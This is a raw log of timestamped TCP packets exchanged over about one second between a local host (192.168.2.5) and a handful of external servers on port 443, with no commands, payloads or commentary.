Sep 27, 2024 05:50:45.511907101 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.511907101 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.512070894 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:45.512077093 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:45.555402040 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.555417061 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.585916042 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.612670898 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612695932 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612704992 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612744093 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612765074 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612775087 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612773895 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.612811089 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612829924 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.612837076 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.612850904 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.617574930 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:45.695147991 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.697356939 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.697365999 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.697403908 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.697417021 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.697427034 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.697442055 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.697454929 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.697464943 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.697484016 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.707055092 CEST	49774	443	192.168.2.5	50.2.64.137
Sep 27, 2024 05:50:45.707076073 CEST	443	49774	50.2.64.137	192.168.2.5
Sep 27, 2024 05:50:45.743469954 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743530035 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743551016 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743568897 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743580103 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.743597984 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743614912 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743624926 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.743644953 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743647099 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.743673086 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.743683100 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.743719101 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.768161058 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.768183947 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.768213034 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.768234015 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.768235922 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.768263102 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.768270016 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.768275976 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.768286943 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.768296003 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.768307924 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.811151028 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.811186075 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.811193943 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.811209917 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.811218977 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.811228037 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.811270952 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.857364893 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.857387066 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.857422113 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.857433081 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.857453108 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.857466936 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.857489109 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.857506990 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.857506990 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.859405041 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.859442949 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.859450102 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.859466076 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.859469891 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.859494925 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.859512091 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.859545946 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.862715006 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.862756968 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.862782955 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.862790108 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.862823963 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.894572020 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.894990921 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.895056963 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.895698071 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.895740032 CEST	443	49773	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:45.895768881 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.895796061 CEST	49773	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:45.924524069 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.924551010 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.924578905 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.924588919 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.924627066 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.948132992 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.948201895 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.948223114 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.948229074 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.948236942 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.948297024 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.948328018 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.949786901 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.949846983 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.949855089 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.949858904 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.949882030 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.949907064 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.949918985 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.951708078 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.951742887 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.951781034 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.951790094 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.951824903 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.953213930 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.953265905 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.953296900 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.953304052 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.953334093 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.954796076 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.954837084 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.954860926 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.954868078 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.954895020 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.969240904 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.969264984 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.969295979 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:45.969310045 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:45.969336033 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.015408993 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.015450954 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.015464067 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.015501022 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.015505075 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.016710997 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.016772032 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.016777992 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.016798973 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.016815901 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.016828060 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.039144039 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.039184093 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.039207935 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.039222002 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.039264917 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.040361881 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.040409088 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.040441036 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.040450096 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.040474892 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.041712999 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.041752100 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.041770935 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.041779041 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.041806936 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.043256044 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.043301105 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.043309927 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.043325901 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.043387890 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.045037985 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.045078993 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.045093060 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.045101881 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.045125008 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.082597017 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.082645893 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.082657099 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.082669020 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.082811117 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.106153011 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.106201887 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.106232882 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.106245995 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.106271029 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.107060909 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:46.107076883 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.107121944 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.107129097 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.107146978 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.107176065 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.107558012 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:46.107604027 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:46.108359098 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:46.108359098 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:46.108377934 CEST	443	49775	118.123.207.191	192.168.2.5
Sep 27, 2024 05:50:46.108442068 CEST	49775	443	192.168.2.5	118.123.207.191
Sep 27, 2024 05:50:46.130031109 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.130060911 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.130088091 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.130095959 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.130115032 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.131171942 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.131206036 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.131222010 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.131230116 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.131262064 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.132786036 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.132816076 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.132837057 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.132849932 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.132932901 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.133755922 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.133776903 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.133809090 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.133819103 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.133852959 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.135601044 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.135624886 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.135658026 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.135664940 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.135704041 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.173330069 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.173371077 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.173393011 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.173408031 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.173439026 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.196830988 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.196871042 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.196886063 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.196896076 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.196960926 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.197856903 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.197886944 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.197910070 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.197917938 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.197949886 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.219125032 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.219463110 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.219496965 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.220532894 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.220577955 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.220588923 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.220608950 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.220626116 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.220632076 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.220654964 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.221582890 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.221642017 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.221857071 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.221883059 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.221894979 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.221901894 CEST	443	49776	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.221906900 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.221911907 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.221946955 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.222713947 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.222743988 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.222764969 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.222770929 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.222775936 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.222826958 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.223093033 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.223105907 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.224498987 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.224528074 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.224545956 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.224551916 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.224580050 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.225529909 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.225555897 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.225589037 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.225596905 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.225616932 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.226183891 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.226258039 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.226897001 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.227034092 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.263887882 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.263912916 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.263945103 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.263955116 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.263978958 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.266447067 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.287643909 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.287688017 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.287718058 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.287731886 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.287763119 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.288758993 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.288789034 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.288826942 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.288834095 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.288861036 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.306102037 CEST	49776	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.311531067 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.311572075 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.311600924 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.311609983 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.311651945 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.312792063 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.312845945 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.312858105 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.312885046 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.312911034 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.313724995 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.313766003 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.313783884 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.313791037 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.313817024 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.315064907 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.315104008 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.315136909 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.315144062 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.315172911 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.315876961 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.315923929 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.315963984 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.315972090 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.315996885 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.354607105 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.354635000 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.354687929 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.354721069 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.354741096 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.372833967 CEST	49777	443	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:46.372847080 CEST	443	49777	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:46.378175020 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.378211021 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.378246069 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.378257036 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.378285885 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.379137039 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.379164934 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.379223108 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.379223108 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.379231930 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.394764900 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.402292967 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.402369022 CEST	49772	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:46.402642012 CEST	443	49772	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:46.402734995 CEST	443	49772	50.3.213.5	192.168.2.5
